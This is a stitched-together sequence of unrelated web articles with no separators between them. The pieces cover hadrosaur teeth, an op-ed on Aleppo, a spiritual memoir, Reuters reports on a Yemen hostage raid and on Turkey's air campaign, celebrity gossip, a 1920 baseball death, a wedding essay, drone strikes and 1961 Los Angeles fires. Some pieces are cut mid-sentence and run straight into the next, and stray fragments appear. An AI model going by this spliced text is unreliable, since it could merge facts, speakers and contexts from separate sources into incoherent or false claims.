Duck-billed dinosaurs were plant eaters, which may explain why they haven’t captivated the public’s imagination in the same way as fierce predators like Tyrannosaurus rex.
They did, however, have some interesting eating habits. Over their lifetimes, hadrosaurs would grow and lose hundreds if not thousands of teeth, and they chewed in a unique, circular manner. “They had kinetic skulls,” says Fiorillo, referring to skulls that have multiple mobile joints. “So their chewing action was not like scissors, or our kind of chewing, but the skull would flex.”
Visitors to the Perot Museum can view casts of some of the tracks, which are on permanent display in the T. Boone Pickens Life Then and Now Hall, along with videos documenting the paleontologists’ journey.
fffA view of the damaged UNESCO-listed citadel in the northern Syrian city of Aleppo. The 5,000-year-old citadel, which towers above the rest of the city, is now under the control of rebel fighters. (Zein Al-Rifai/AFP/Getty Images)
Laurent Fabius is France’s minister of foreign affairs and international development.
Stopped at the last minute in Kobane, the terrorist group known in the Arab world as Daesh — we do not use Islamic State, because the group is neither truly Islamic nor a state — is dispatching its murderers to other points along the Syrian-Turkish border. And at the end of the road lies Aleppo, the bastion of the moderate opposition.
Syria’s second-largest city and part of humanity’s ancient heritage, Aleppo is the martyred center of the resistance to Syrian dictator Bashar al-Assad, having been under constant bombardment by his forces since 2012. Now Aleppo is caught between the regime’s “barrel bombs” and Daesh’s cutthroats.
The city is almost entirely encircled, connected to the outside world by a single road to Turkey. The regime is seeking to destroy the resistance through cold and hunger. While 1 million people have left to join the flood of Syrian refugees, some 300,000 Aleppans are holding on, threatened with the same death and destruction that the regime has inflicted on Homs and the suburbs of Damascus.
The dictator prefers to deliver Aleppo to terrorist atrocities, even if that means allowing Daesh to flourish on Aleppo’s eastern edge. Aleppo’s residents will then pay for Daesh’s setback in Kobane.
In fact, Assad and Daesh are two sides of the same barbaric coin. Assad largely created this monster by deliberately setting free the jihadists who fueled this terrorist movement. This was part of his underhanded effort to appear, in the eyes of the world, as the sole bulwark against terrorism in Syria. But the facts contradict this charade. How many times has the regime — so ready to attack its own people — bombed Daesh? Did it ever try and save Kobane from disaster, even while the People’s Democratic Party, or PYD, fought at its side elsewhere? No, it chose to do nothing.
For these two faces of barbarism share a common aim: to destroy the moderate opposition. Thus, their choice to target its bastion, Aleppo, which represents the only political alternative capable of preserving the prospect of an open, pluralistic, democratic Syria — the Syria that both the regime and Daesh reject.
Abandoning Aleppo would mean condemning Syria to years of violence. It would mean the death of any political future. It would mean exporting Syria’s chaos to its already vulnerable Iraqi, Lebanese and Jordanian neighbors. It would mean the breakup of the country to be delivered up to increasingly radicalized warlords. And make no mistake — Assad, one “warlord” among others — will not defeat these rivals, just as he is incapable of defeating Daesh today.
Abandoning Aleppo would mean condemning 300,000 men, women and children to a terrible fate: either a murderous siege under the regime’s bombs or the terrorist barbarity of Daesh.
France cannot resign itself to the breakup of Syria or to the abandonment of the Aleppans to this fate. That is why — together with our coalition partners — we must focus our efforts on Aleppo, with two clear objectives: strengthening our support for the moderate Syrian opposition, and protecting the civilian population from the twin crimes of the regime and Daesh. After Kobane, we must save Aleppo.“Mama, how do trees grow in the shade?” I asked.
There was silence. I didn’t look at my mother who was driving. For many trips and scenic-routes-to-nowhere in the Pacific Northwest, she would insist that I look outside at the view instead of inside the car. Inevitably, I would become car sick and would need to have the window open and my head or my hand hanging out. ‘I feel sick when I look at the trees going by, Mom!” “Then, look THROUGH the trees,” she said.
A whole new world opened up when I did. I saw things that seemed to stand still. Light cascading onto the forest floor, deer and birds in the safe haven of the forest beyond the trees, new dimensions of color and texture. The feeling of warm air pushing past as I leaned out and the sun shining upon my face in whips of light. This particular day, I noticed something new, trees growing in the shade. I wondered…how is this possible? My eight year old mind knew that plants needed sunlight to grow. And, yet, there were all of these trees and plants growing in the dark, cool shade.
“Mama, how do trees grow in the shade?” I asked again. This time I was looking at her.
There was a long pause. I waited for her brilliant, mom-knows-everything, answer. She said, with a glance, “That’s an answer you will need to find out on your own. Why don’t you write that down in your journal when we get home?”
I felt smart. I felt like she acknowledged something great inside of me. Maybe it was the way her face lit up with a tiny surprise on her lips. Whatever it was, I liked it.
I wrote it on a piece of paper in the car and transferred it into my tiny orange, faux-leather journal later that evening. I’ve since forgotten where the little journal is, but always remembered the question.
Over the years, I pondered what that really meant on a metaphysical level…How DO trees grow in the shade? When I learned how it happened botanically, I was a little disappointed, a little intrigued, and a little amused. The answer was too simple. My inner spiritual sleuth longed for more.
Reviewing my life experiences during the 38 years since that day in the car with my Mother has brought about the question again. So, how DO trees grow in the shade? How do we grow in the shadows of the Dark Season of the Soul? How does any one grow spiritually, physically and emotionally amid the shadows and trials of one’s life? How do we do this human experience and feel like it’s all worth it?
The only way I could justify being here, on Earth, as a Spiritual Being having a Human experience, is if I had purpose. A reason to live. After all, all I ever wanted to do is get out of this place alive.
The question, “How do trees grow in the shade,” eventually matured into “How do I enjoy my life and do what I love everyday, despite the suffering?”
In Summer of 2011, my weekly talk-radio show, SoulTalk with Jahdaa, went on the air. The question I asked all of my guests was, “Are you doing what you have come here to do?” I wanted to know because, if they were, then how the hell did they get there? I REALLY wanted to do what I have come here to do! At that time, at 42 years old, I was sick of living a mundane life of bullshit and experiencing trials and tribulations for no real reason except to suffer. I’m all about “soul-ution based suffering.” But, suffering for the sake of feeling like shit, just isn’t my thing and was getting really old.
The “mature” question stumped a lot of my guests…one even said, “I don’t know if I am doing what I have come here to do. There is a big difference between ‘doing’ and ‘being’. But, I do know that I am being who I have come here to be!”
That was a game changer for me. I asked myself the same question, “Are you being who you have come here to be?” I still wasn’t sure. So, I kept on asking.
Another year went by and, week after week, I asked my guests the same “Being” question. Some were moved to tears, some exalted, some absolute, some unsure, some annoyed, and most were grateful for the opportunity for self-reflection. One musician from New York emailed me weeks later after his interview to inform me that this question had left him reviewing his existence and he found himself depressed and in bed for three days because he thought he knew and now he was not so sure. I found this interesting. Was this my purpose? To shake the “tree of knowledge?”
One night late into my second year on the air, I interviewed author and public speaker, J. Ross Quinn. He turned the tables and answered my question with a question: “How can anyone know if they are being who they have come here to be if they do not know who they are? Do YOU know who you are?”
Doh! Stump-town! I wanted to cry. My eyes welled with tears and my voice caught in my throat.
Uh….I dunno.
The deal is, I DO know who I am. At the time, I just didn’t know how to Be the Authentic Me. Nor did I have the courage to “do” what it takes to express the Authentic Me in human form.
From that day, I relaxed into Kundalini meditation, twisted myself into excruciating yoga postures, chanted hours of mantras, invested in visioning, journaling, and several trips into the sacredness of our plush forests and beautiful Oregon coastline, an underworld cenote of a Mexican jungle, and into the bush of Jamaica to reason with a rasta medicine man. I have received empowerments from High Lamas of Bhutan, shamanic blessings from Native elders, prayers of healing from a Hindu, Sikh, and Buddhist Gurus, endowed with spiritual names, oracles, and divinations for introspection, affirmation, and confirmation.
And, with all of this, in the year and a half since J. Ross Quinn’s question to me, I have come to a simple knowing:
I am a spark of the Divine. How that expresses is up to me and is mine to do and be. Now that I know this Truth, how I experience my life is my responsibility. It really is an inside job.
As a former single welfare-mom of seven children, domestic and sexual abuse survivor, once jailed, twice homeless, educated by the University of Life, recovering drug addict, massage therapist, business owner, published writer, world-traveler, mentor, educator of Tantra, Love, and Native American spirituality, radio host and producer, public speaker, Lover of my family and all of Humanity, I am finally seeing how I can blossom in the shadows of my existence..and, how trees grow in the shade.
Excerpt from Desiree Rudder’s book, “Mama, How do trees grow in the shade?”
How Do Trees Grow In The Shade?SANAA/ADEN (Reuters) - U.S. special forces stormed a walled compound in a remote Yemeni village early on Saturday in an attempt to free Western hostages held by an al Qaeda unit, but an American journalist and a South African teacher were killed by their captors, officials said.
U.S. Secretary of State John Kerry and a Yemeni intelligence official said Luke Somers, 33, and South African Pierre Korkie, 56, were shot by their kidnappers shortly after the raid began in the arid Wadi Abadan district of Shabwa, a province long seen as one of al Qaeda’s most formidable strongholds.
It was the second U.S. attempt to free Somers in 10 days and Kerry said it had been approved because of information that Somers’ life was in imminent danger. “It was our assessment that that clock would run out on Saturday,” one U.S. official said.
However, the Gift of the Givers relief group, which was trying to secure Korkie’s release, said it had negotiated for the teacher to be freed and had expected that to happen on Sunday and for him to be returned to his family.
Al Qaeda in the Arabian Peninsula (AQAP) is seen by Washington as one of al Qaeda’s most dangerous branches. The United States has worked with Yemen’s government and via drone strikes to attack its leaders in southern and eastern Yemen.
“The callous disregard for Luke’s life is more proof of the depths of AQAP’s depravity, and further reason why the world must never cease in seeking to defeat their evil ideology,” President Barack Obama said in a statement.
Obama said he had authorized the operation and said the United States would “spare no effort to use all of its military, intelligence and diplomatic capabilities to bring Americans home safely, wherever they are located.”
SHOOT-OUT
A U.S. defense official said about 40 U.S. special forces troops, flown in by tilt-rotor CV-22 Osprey aircraft, had advanced to within 100 meters (yards) of the walled compound where the hostages were held before the defenders were alerted and a firefight started.
About 10 people, including al Qaeda guards and some civilians were killed in the fighting, said Ali al-Ahmadi, chief of Yemen’s national security bureau. The Pentagon said it was unaware of any civilian casualties.
U.S. officials said they knew Somers was at the location, partly because of information gleaned during the earlier rescue attempt, and they were aware that a second hostage was there but did not know in advance who it was.
As the fight began, an al Qaeda guard darted inside the compound and then exited through the back. Gunfire was heard. That’s when American officials believe Somers and Korkie were shot.
They were each shot several times, said the U.S. officials, who declined to be identified. The men were treated by medics but one died during the flight out and another aboard a U.S. ship. No U.S. troops were hurt, they said. The raid lasted about 30 minutes.
Gift of the Givers said on its website: “We received with sadness the news that Pierre was killed in an attempt by American Special Forces, in the early hours of this morning, to free hostages in Yemen.”
It added: “The psychological and emotional devastation to (Korkie’s wife) Yolande and her family will be compounded by the knowledge that Pierre was to be released by al Qaeda tomorrow... Three days ago we told her ‘Pierre will be home for Christmas’.”
Yolande, who was kidnapped with her husband in mid-2013, was released in January after intervention by Gift of the Givers.
A South African government spokesman declined to comment.
Militants in the region often demand millions of dollars for the release of hostages, including in the Korkies’ case, and Saturday’s incident was likely to again raise discussion about the wisdom of paying ransoms.
A man, who identified himself as Luke Somers, speaks in this still image taken from video purportedly published by Al Qaeda in the Arabian Peninsula (AQAP). REUTERS/ via Reuters TV
The United States, which refuses to make payments as they could encourage more kidnappings, is reviewing its approach to such cases but has said the payment ban will remain in place.
There |
a great job of digging deeper into the world and its characters.
Maya needed no expanding, because the character and Minnie Driver’s blunt performance (“Oi!” has become a preferred exclamation in our household) arrived fully-formed. But the writers have gradually figured out what makes the others tick, so that even though Jimmy is deferential to Maya on virtually everything, he’s also the one who sets the emotional tone for the family, and also the one who draws the ethical line between the DiMeos trying to derive benefits from their situation and just being jerks. John Ross Bowie’s underplaying makes the bigness of what Driver’s doing possible; under perfect circumstances, like Kaczmarek and Cranston on Malcolm in the Middle(*), you can have two operatic performances, but a balance works better.
(*) Full credit to @toetyper on Twitter for opening my eyes to the many parallels between Speechless and Malcolm: terrifying alpha mom, cowed beta dad who has let the house fall down around him (much to the chagrin of the neighbors), a smart middle kid constantly objecting to how the family conducts itself, etc. The reality of Malcolm was more exaggerated, but they’re definitely spiritual cousins.Amber Heard released a post-Thanksgiving PSA on domestic violence, tearing up as she discusses her own experiences with an unnamed partner, named Johnny Depp. As she says in the video:
“I guess there was a lot of shame attached to that, that label of victim. It happens to so many women. When it happens in your home behind closed doors with someone you love, it’s not as straightforward. If a stranger did this...it would be a no-brainer.”... “I have a unique opportunity to remind other women...this doesn’t have to be the way it is. You don’t have to do it alone. You’re not alone. And also, we can change this. Violence against women is not limited to actual physical violence.”
Advertisement
Heard and Depp were married for just 15 months, though what the union lacked in length it more than made up for in mayhem, with at least one confirmed instance of Depp shattering wine glasses during an angry blowout. The two finalized their divorce in August, with Depp agreeing to pay Heard a $7 million settlement, which she pledged to donate to charity.
[TMZ]
Kanye West Update: TMZ reports that contrary to reports that he’s on the mend, West has been acting paranoid and deeply depressed—both issues with which he’s reportedly been struggling for some time:
We’re told after Kanye was taken to the hospital Monday he was convinced people were out to get him, including the doctors who were caring for him. Our sources say for a time he wouldn’t even let the doctors touch him. Our sources say the paranoia has been building for months... obviously going way beyond the stated reasons for the hospitalization... dehydration and exhaustion.
Advertisement
West is being treated at UCLA’s medical center, where he’s been under observation since Monday.
[TMZ]
I don’t want Martha Stewart to ever die, but when she does, I hope “Once Alive Now a Centerpiece” is what they write on her tombstone.
AdvertisementWASHINGTON (Reuters) - Since Turkey shot down a Russian fighter jet last week, the United States has quietly put on hold a long-standing request for its NATO ally to play a more active role in the U.S.-led air war against Islamic State.
A combination picture taken from video shows a war plane crashing in flames in a mountainous area in northern Syria after it was shot down by Turkish fighter jets near the Turkish-Syrian border November 24, 2015. REUTERS/Reuters TV/Haberturk
The move, disclosed to Reuters by a U.S. official, is aimed at allowing just enough time for heightened Turkey-Russia tensions to ease. Turkey has not flown any coalition air missions in Syria against Islamic State since the Nov. 24 incident, two U.S. officials said.
The pause is the latest complication over Turkey’s role to have tested the patience of U.S. war planners, who want a more assertive Turkish contribution — particularly in securing a section of border with Syria that is seen as a crucial supply route for Islamic State.
As Britain starts strikes in Syria and France ramps up its role in the wake of last month’s attacks on Paris by the extremist group, U.S. Defense Secretary Ash Carter publicly appealed this week for a greater Turkish military role.
The top U.S. priority is for Turkey to secure its southern border with Syria, the first official said. U.S. concern is focused on a roughly 60-mile (98-km) stretch used by Islamic State to shuttle foreign fighters and illicit trade back and forth.
But the United States also wants to see more Turkish air strikes devoted to Islamic State, even as Washington firmly supports Ankara’s strikes against Turkey’s Kurdistan Workers Party (PKK), viewed by both countries as a terrorist group.
Carter told a congressional hearing this week that most Turkish air operations have been targeted at the PKK rather than at Islamic State, but U.S. officials acknowledge some promising signs from Turkey, including moves to secure key border crossings.
For example, Turkish F-16 fighter jets last month joined an air operation to support Syrian rebels taking back two villages from Islamic State along the so-called Mara Line, a senior Obama administration official told reporters, speaking on condition of anonymity.
The United States does not give data on the number or type of missions conducted by Turkish air force flights in Syria.
Turkey rejects any suggestion it is not playing its part in the fight against ISIL.
“We have taken part in at least half of the operations,” a senior Turkish official told Reuters. “Apart from that, Turkey takes part in identifying targets and providing logistics and bases. We are in close cooperation with the U.S.”
Russian President Vladimir Putin branded Turkey’s shoot-down a war crime on Thursday and said Turkey would face further sanctions. Moscow has already banned some Turkish food imports as part of a wider package of retaliatory sanctions.
The United States hopes that tensions between Moscow and Ankara will ease quickly, allowing Turkey to take a more prominent role inside the U.S.-led coalition’s air campaign, the first official said.
The Pentagon declined to comment on the status of Turkish flights since the shoot-down. Two Turkish officials declined to directly comment but stressed that Turkey remained part of the air coalition.
“For us nothing has changed,” a senior Turkish official told Reuters.
U.S. officials stressed that overall coalition air operations had been unaffected by the tensions between Turkey and Russia.
There is debate within the Obama administration on how hard to push Turkey. U.S. officials broadly acknowledge its support has been vital to the U.S.-led campaign in Syria, allowing the coalition to stage strike missions out of a Turkish air base.
Turkey, for its part, has grown frustrated over the past few years at what it sees as indecision on the part of the United States and its Western allies, arguing that only Syrian President Bashar al-Assad’s removal from power can bring lasting peace.Beaned by a Pitch, Ray Chapman Dies
[Unsigned, The New York Times]
NEW YORK-The body of Ray Chapman, the Cleveland shortstop, who died early today in St. Lawrence Hospital after being hit in the head by a pitched ball thrown by Carl Mays at the Polo Grounds yesterday afternoon, was taken to his home in Cleveland tonight. A group of baseball fans stood with bared heads at the Grand Central Terminal as the body was taken through the gates to the train. The ball player's widow, who went with the body, was accompanied by her brother and a friend, Indians Manager Tris Speaker, and Joe Wood, one of the players.
Chapman's death has cast a tragic spell over the baseball fans of the city, and everywhere the accident was the topic of conversation. Chapman was a true sportsman, a skillful player, and one of the most popular men in the major leagues. And this was to have been his last season in professional baseball. Carl Mays, the Yankees pitcher who threw the ball which felled Chapman, voluntarily went before Assistant District Attorney Joyce and was exonerated of all blame. The game which was to have been played between Cleveland and New York was put over until Thursday and the players of both clubs joined in mourning.
Although there is some bitterness against Mays among some of the Cleveland players, Manager Speaker, in a telephone conversation with Colonel T.L. Huston, part owner of the New York club, said he and his clubmates would do everything in their power to suppress this feeling. "It is the duty of all of us," said Speaker, "of all the players, not only for the good of the game, but also out of respect to the poor fellow who was killed, to suppress all bitter feeling."
Chapman died at 4:40 o'clock this morning, following an operation performed by Dr. T.M. Merrigan, surgical director of the institution. Chapman was unconscious after he arrived at the hospital. The operation began at 12:29 o'clock and was completed at 1:44. The blow had caused a depressed fracture in Chapman's head three and a half inches long. Dr. Merrigan removed a piece of skull about an inch and a half square and found the brain had been so severely jarred that blod clots had formed. The shock of the blow had lacerated the brain not only on the left side of the head where the ball struck but also on the right side where the shock of the blow had forced the brain against the skull, Dr. Merrigan said.
Mays is greatly shocked over the accident. He said he threw a high fast ball at a time when Chapman was crouched over the plate. He thought the ball hit the handle of Chapman's bat, for he fielded the ball and tossed it to first base. It wasn't until after that, when he saw Umpire Connelly calling to the stands for a physician, that he realized he had hit Chapman in the head. Manager Miller Huggins of the Yankees believes Chapman's left foot may have caught in the ground in some manner which prevented him from stepping out of the ball's way. Manager Huggins explained that batsmen usually had one foot loose and free at just such moments and Chapman had got out of the way of the same kind of pitched balls before.
Although there have been several serious beanings in the major leagues, some of which led to the curtailment of careers, Ray Chapman remains the only player to have been killed by a pitch. Batting helmets, invented in the 50's, may well have helped to prevent deaths.
Bettmann/Corbis Ray Chapman of the Indians in an undated photo. The Yankees' Carl Mays, who hit him, was a known headhunter, but Chapman's spikes may have caught in the dirt, keeping him from dodging the pitch.
Runners Up
1938: Henry Armstrong won the world lightweight title in a bloody 15-round split decision over Lou Ambers at Madison Square Garden in New York, becoming the first boxer to hold titles in three different weight classes simultaneously. He also held the welterweight and featherweight crowns. Armstrong retired in 1945 with a record of 145-20-9 with 98 knockouts.
1988: Butch Reynolds of Akron, Ohio, ran the 400 meters in 43.29 seconds at the International Grand Prix Sportfest in Zurich, breaking the 20-year-old world record of 43.86 set by Lee Evans of the United States at the Mexico City Olympics. Reynolds's mark stood for 11 years until it was shattered by Michael Johnson at the World Track and Field Championships in Seville, Spain (see Aug. 26).
1968: JoAnn Carner of Seekonk, Mass., beat Anne Welts of Seattle at Birmingham (Mich.) Country Club for her fifth United States Women's Amateur title, one short of Glenna Collett Vare's record of six in the 1920's and 30's. As a pro the hugely popular Carner, "Big Mamma" to her tour mates, won five Vare Trophies for lowest scoring average and three L.P.G.A. Player of the Year titles.[oldembed src="https://www.youtube.com/embed/lyRNgpyhiXE" width="425" height="239" resize="1" fid="21"]
Don't worry, they're going to come up with a connection even if they have to completely fabricate it! Oh, that's right - that's how this whole thing started:
Despite insistence from GOP leadership that the White House was behind the so-called “Fast and Furious” gunwalking program, a report from House Republicans released Tuesday names five officials at the Bureau of Alcohol, Tobacco, and Firearms as culprits in the misguided effort.
All five were reassigned before the release of the report — the first of three. The indictments in the report contradict House Speaker John Boehner’s (R-OH) insistence that the President invoked executive privilege over the Justice Department’s information on ongoing investigations to protect his personal interests.
The indication, however, is that the upcoming reports will try to tie the President to the program. It will “address the unprecedented obstruction of the investigation by the highest levels of the Justice Department, including the attorney general himself,” according to the Republicans who wrote the report.When one of my closest friends told me she was pregnant, one of the first things she asked was whether it would be okay to bring their baby to my wedding in July.
Runner born a double amputee wants to show people they can do more than they think
There wasn’t a second’s doubt in my mind that I would say yes.
Saying yes to kids at our wedding meant having a teeny tiny person who I’m going to watch grow up, involved in the biggest day of my life. How could that be a bad thing?
I love children, I’ve worked as a nanny and I’m hoping to have a family. So kids at my wedding was a no brainer. But even if I wasn’t someone who liked children, there’s no way I could bring myself to tell someone I cared about to leave their baby at home.
Advertisement
Advertisement
In the case of my friends and family with tiny babies, leaving a newborn baby with a babysitter isn’t a thing so it would mean getting married without them there.
What would be the point of having a big wedding ceremony if anyone I loved who had a small baby wasn’t able to be there?
Asking someone you love to be separated from their baby so that they can watch you walk down the aisle? That’s just selfish.
If one of the babies at my wedding starts screaming during the ceremony, it won’t be ideal. But I trust the parents in question to make a call between popping out into the garden or waiting it out.
The problems that babies bring to weddings aren’t caused by babies, they’re caused by selfish parents. Luckily, none of my friends is afflicted with that tendency.
Weddings are a celebration of love and family. Cutting out a section of the people you love and your family because they’re under eighteen seems illogical.
My fiance’s nieces are a huge part of his family. My bridesmaid (who I used to nanny for) is my flower girl and I couldn’t imagine walking down the aisle without her.
My wedding is going to have newborns, toddlers and tweens. There’ll be people breastfeeding during the ceremony, and probably on the dancefloor. It’ll be a mass of people from two sets of family, five different friendship groups and numerous generations.
Advertisement
Advertisement
Teenagers dancing with grandparents, overexcited children who’ve had lots of sugar and no supervision, it’s all part of what makes a wedding something special.
Weddings aren’t just glorified parties. They’re more than that. I probably wouldn’t invite children to a 21st or a 30th, but birthdays are different. They’re about one person, rather than a family.
A party is about getting pissed and having fun, and children aren’t always the best fit for that. A wedding encompasses the party element, but it goes much further. It’s about cementing your life.
The people who you invite to your wedding are the people who you want to continue to have in your marriage. They’re the people who you are inviting to be a part of your married world, as a couple. And for me, that involves children.
They won’t be children forever, before long they’ll be teenagers, and then adults. The children who are coming to my wedding are people who I hope to be around for in the future, whether it’s advice, a place to crash or someone to rant to about their horrible parents. Sharing my wedding day with them is the first step towards that.
Just because there will be children present, doesn’t mean that the wedding is all about kids. I’m not having a creche, or a clown. There has been no sense of making the wedding ‘child-friendly’ by sanitising it.
The best man’s speech will be just as raunchy as it would have been, had the wedding been child-free. The booze will flow just as freely. Allowing kids to attend doesn’t mean turning the whole thing into a Mummy & Me class.
Advertisement
Having worked with children I know that leaving them to get on with it and entertain themselves (as long as they’ve got access to plenty of sweets and space to run around) is better than trying to herd them into one place or force activities on them.
I’d heard it said that people don’t invite children in order to save money, which I’ve always found confusing. No, it’s not free to have children at your wedding, but to me, the children who are coming are no less valuable than the adults. If I don’t begrudge food and drink for my friends, why should I begrudge it to their children, who are also part of my world?
Some of my happiest childhood memories are from weddings. Making friends with other children, experimenting with drinking wine left on the tables, rolling down hills (and ruining my bridesmaid dress).
When I spend time with those adults who’s weddings I attended as a child, I feel like it’s a connection between us, even decades later. I hope that some of the children who are at my wedding might feel the same way towards me.
You can read the other side of the debate from Ellen Scott, here.
MORE: This dress is actually a wedding cake and we want it
MORE: If he asks your dad before he asks you, you shouldn’t be marrying him
Advertisement AdvertisementFox News' Andrea Tantaros gave feminist blogs a shout out on "Outnumbered" on Tuesday, so we'd be remiss not to acknowledge the host's insightful commentary about campus sexual assault investigations. According to Tantaros, scrutiny of rape on college campuses amounts to a "war on boys."
On Monday, the Charlottesville Police Department announced that it found no evidence to corroborate the account of an alleged gang rape at the University of Virginia detailed in Rolling Stone last year, in a discredited report that has since sparked widespread discussion of campus rape culture as well as a Columbia University review of the magazine's editorial practices. The "Outnumbered" panelists weighed in on Charlottesville Police Chief Timothy Longo's announcement, with some added disdain for the feminist writers (hi!) who cover sexual assault on college campuses.
Advertisement:
"I want an investigation into what Rolling Stone was thinking," co-host Harris Faulkner began. "I don't know that an apology really does it. I know they have the university looking into how they do their processing for how they vet the people they talk to, but we know from our own reporting here on the couch that they let a reporter determine she just wasn't going to track any further than the website. She just wasn't going to do the complete job we learned in Journalism 101."
"The reporter admitted that when she had been visiting college campuses looking for a story, and so that plays into the narrative about campus rape, what is perpetuated on college campuses," guest host Katie Pavlich added. "Are feminist groups on college campuses wanting reporters to write things like that, and giving them stories that maybe aren't true?"
As the panelists acknowledged, Longo made clear in his announcement that law enforcement had decided to suspend its UVA investigation -- instead of closing it down entirely -- because detectives could not determine conclusively that the young woman identified as Jackie was not assaulted. But while the police chief has managed to identify a key nuance in the investigation's lack of a final resolution (specifically, that even if the Rolling Stone report cannot be corroborated, it does not preclude the possibility that "something terrible" still happened to Jackie), Tantaros chimed in by ignoring that element of reality completely.
"This is the most dangerous form of journalism," Tantaros said. "They're just looking for stories, and if they don't get them then they'll just make it up. Or they'll use hyperbolic explanations that they don't validate."
"This hurts women," she went on, "this hurts victims of sexual assault, and -- I'm going to speak slowly here so all the feminist blogs can get this one, because I'm sure they'll clip it -- there is a war happening, on boys on these college campuses."
(I would like to take this moment to thank Tantaros, because it is actually extremely helpful to have someone speak in a way that is easy to transcribe, especially when she is talking about campus sexual assault!)
Advertisement:
Tantaros cited the recent backlash against Harvard's sexual assault policy, which a number of faculty members criticized for stripping alleged assailants of due process during university investigations. (Feminist bloggers have investigated and called out universities' opaque investigation procedures, which can, indeed, violate an accused student's rights and cause problems for everyone. There are problems with the system. The system needs to be fixed.) She also criticized the Obama administration for furthering federal inquiries into colleges' and universities' handling of rape investigations, and even managed to bring Lena Dunham into the fold.
"It is a theme in this country to go after boys in this rape culture," Tantaros said. "There are absolutely legitimate reasons for them to do this. But what happens after they assassinate their character? What happens to Lena Dunham? What happens to these fraternity boys? Absolutely nothing. And it hurts the women and the victims at the end of the day the most."
Watch the "Outnumbered" discussion of the Charlottesville investigation, via Media Matters, below:Last October I was at a jirga in Islamabad where 80 people from Waziristan had assembled to talk about the US Predator drones that buzz around overhead, periodically delivering death by Hellfire missile. A jirga is the traditional forum for discussing and resolving disputes, part parliament, part court of law. The turbaned tribal elders were joined by their young sons on a rare foray out of their region to meet outsiders and discuss the killing. The isolation of the Waziris is almost total – no western journalist has been to Miranshah for several years.
At our meeting I spoke as the representative westerner. I reported the CIA claim that not one single innocent civilian had been killed in over a year. I did not need to understand Pashtu to translate the snorts of derision when this claim was translated.
During the day I shook the hand of a 16-year-old kid from Waziristan named Tariq Aziz. One of his cousins had died in a missile strike, and he wanted to know what he could do to bring the truth to the west. At the Reprieve charity, we have a transparency project: importing cameras to the region to try to export the truth back out. Tariq wanted to take part, but I thought him too young.
Then, three days later, the CIA announced that it had eliminated "four militants". In truth there were only two victims: Tariq had been driving his 12-year-old cousin to their aunt's house when the Hellfire missile killed them both. This came just 24 hours after the CIA boasted of eliminating six other "militants" – actually, four chromite workers driving home from work. In both cases a local informant apparently tagged the car with a GPS monitor and lied to earn his fee.
Last week officials in the Obama administration talked to the New York Times about the "Secret Kill List" drawn up for drone assassinations. Democratic strategists in an election year calculate that the article will prove a vote-winner, dispelling any notion that Barack Obama is soft on terror. The administration voices wanted to leave the impression of an involved and committed president who reads Thomas Aquinas's theory of the "just war" in between personally vetting the kill list.
Mitt Romney dubbed Obama "Dr Strangelove" back in 2007. It may have been a rare, perceptive insight. A decision by the smartest man in the room is only as good as the information that he receives, and no matter how accurate the shiny new missile, if it's aimed at the wrong person it will hit the wrong target.
It is easy to understand how the CIA slaughtered Tariq and many other innocent victims. Those who press the Hellfire buttons are 8,000 miles away in Nevada and are dependent on local "intelligence". Just as with Guantánamo Bay, the CIA is paying bounties to those who will identify "terrorists". Five thousand dollars is an enormous sum for a Waziri informant, translating to perhaps £250,000 in London terms. The informant has a calculation to make: is it safer to place a GPS tag on the car of a truly dangerous terrorist, or to call down death on a Nobody (with the beginnings of a beard), reporting that he is a militant? Too many "militants" are just young men with stubble. At least 174 have been children.
The New York Times reports that Obama first embraced a policy of taking no prisoners in order to avoid the embarrassing sore of Guantánamo. Then he accepted a method for assessing casualties that "counts all military-age males in a strike zone as combatants" unless there is explicit posthumous proof of their innocence – because they are probably "up to no good".
While Obama's policies may go down a treat in the US, they are fomenting radicalism abroad, the very policy not only undermining our way of life but provoking an extremist hydra with many more heads.
Some sane voices penetrate the gloom. Starting last summer, Cameron Munter, Obama's ambassador to Islamabad, was required to give a thumbs up or down assessment of each drone attack on Pakistani turf, as if he were an emperor in the Colosseum. "He didn't realise his main job was to kill people," said a colleague. Munter is quitting his job early this month because his diplomatic mission has been rendered impossible.
The dearth of US domestic criticism is astounding. The last time a president indulged in an illegal bombing campaign in the sovereign territory of allies (Richard Nixon in 1969, in Cambodia and Laos), the policy nearly got included in the articles of impeachment. We should remember that history, as the Vietnamese capitalised on the backlash, helping to impose the genocidal Khmer Rouge on Cambodia, and a single-party regime that endures 40 years later in Laos.
Ultimately, Mitt Romney faces a dilemma: what must a Republican candidate do to outflank the extremism of his Democratic opponent? The rest of us must be concerned as well: we are sleepwalking into the Drone Age, and few people are debating the dire consequences.
Clive Stafford Smith is director of the charity Reprieve, which has a project intended to provoke debate on drones.Throwback Thursdays are our chance to reflect on past events on or near campus and relate them to the present day. Each week, we showcase and analyze an old article from the Daily Bruin archives in an effort to chronicle the campus’ history.
Fires ravaged Northern California and Orange County earlier this year, destroying thousands of buildings. But over 50 years ago, Bruins nearly experienced a similar incident right here at UCLA.
In early November 1961, the Daily Bruin reported fires raging through the canyons near the Santa Monica Mountains, just a couple of miles away from the university. Much like how things went down in 2017, a Gov. Brown declared a state of emergency – only then, it was Edmund Brown, current Gov. Jerry Brown’s father.
The Bruin reported Nov. 6, 1961 that the fires had destroyed over 200 homes. The university cancelled classes after 2 p.m. and the Dickson Art Center was displaying a Pablo Picasso exhibit, which had to be temporarily shut down.
Then-Chancellor Franklin Murphy said he expected classes to continue as normal Nov. 6. However, classes and tests were eventually canceled due to the lack of suitable ways to get to a university that was, at the time, a commuter campus.
The Bruin reported that while not attending classes, students stopped to watch the fires from the safety of campus, especially from the vantage point at the top of Janss Steps. Dorm residents reported seeing the flames from their windows and smelling the smoke in the air – quite the way to start off a week.
The closest the fire got to campus was within one mile, according to reports The Bruin received Nov. 5, but the Associated Press reported later that day that UCLA was not considered to be at risk from the fires.
The UCLA Medical Center treated 30 firefighters for nonserious injuries they received while battling the fire. Since the fire struck Bel Air, many celebrities, such as actor Burt Lancaster and comedian Red Skelton, lost their homes.
The fire impacted only a few Bruins initially, with less than 10 UCLA students and staff losing their homes on the first day of the fires. But then things worsened on Tuesday. The Bruin’s Nov. 7 paper reported that scores of UCLA staff and students had lost their homes to the “worst fires in Los Angeles history.” The Bel Air fires still remain the worst fires in LA history by number of houses destroyed.
Among the UCLA affiliates who had lost their houses were Willard Libby, a Nobel Prize winner in Chemistry, and Jerry Norman, a then-assistant basketball coach who lost his house in Brentwood. The Bruin reported that Harry E. Morris, the publications manager for Associated Students UCLA, rushed home Nov. 5 and stayed up all night, fighting to protect his home from the flames, with his friends coming to his aid on the following morning.
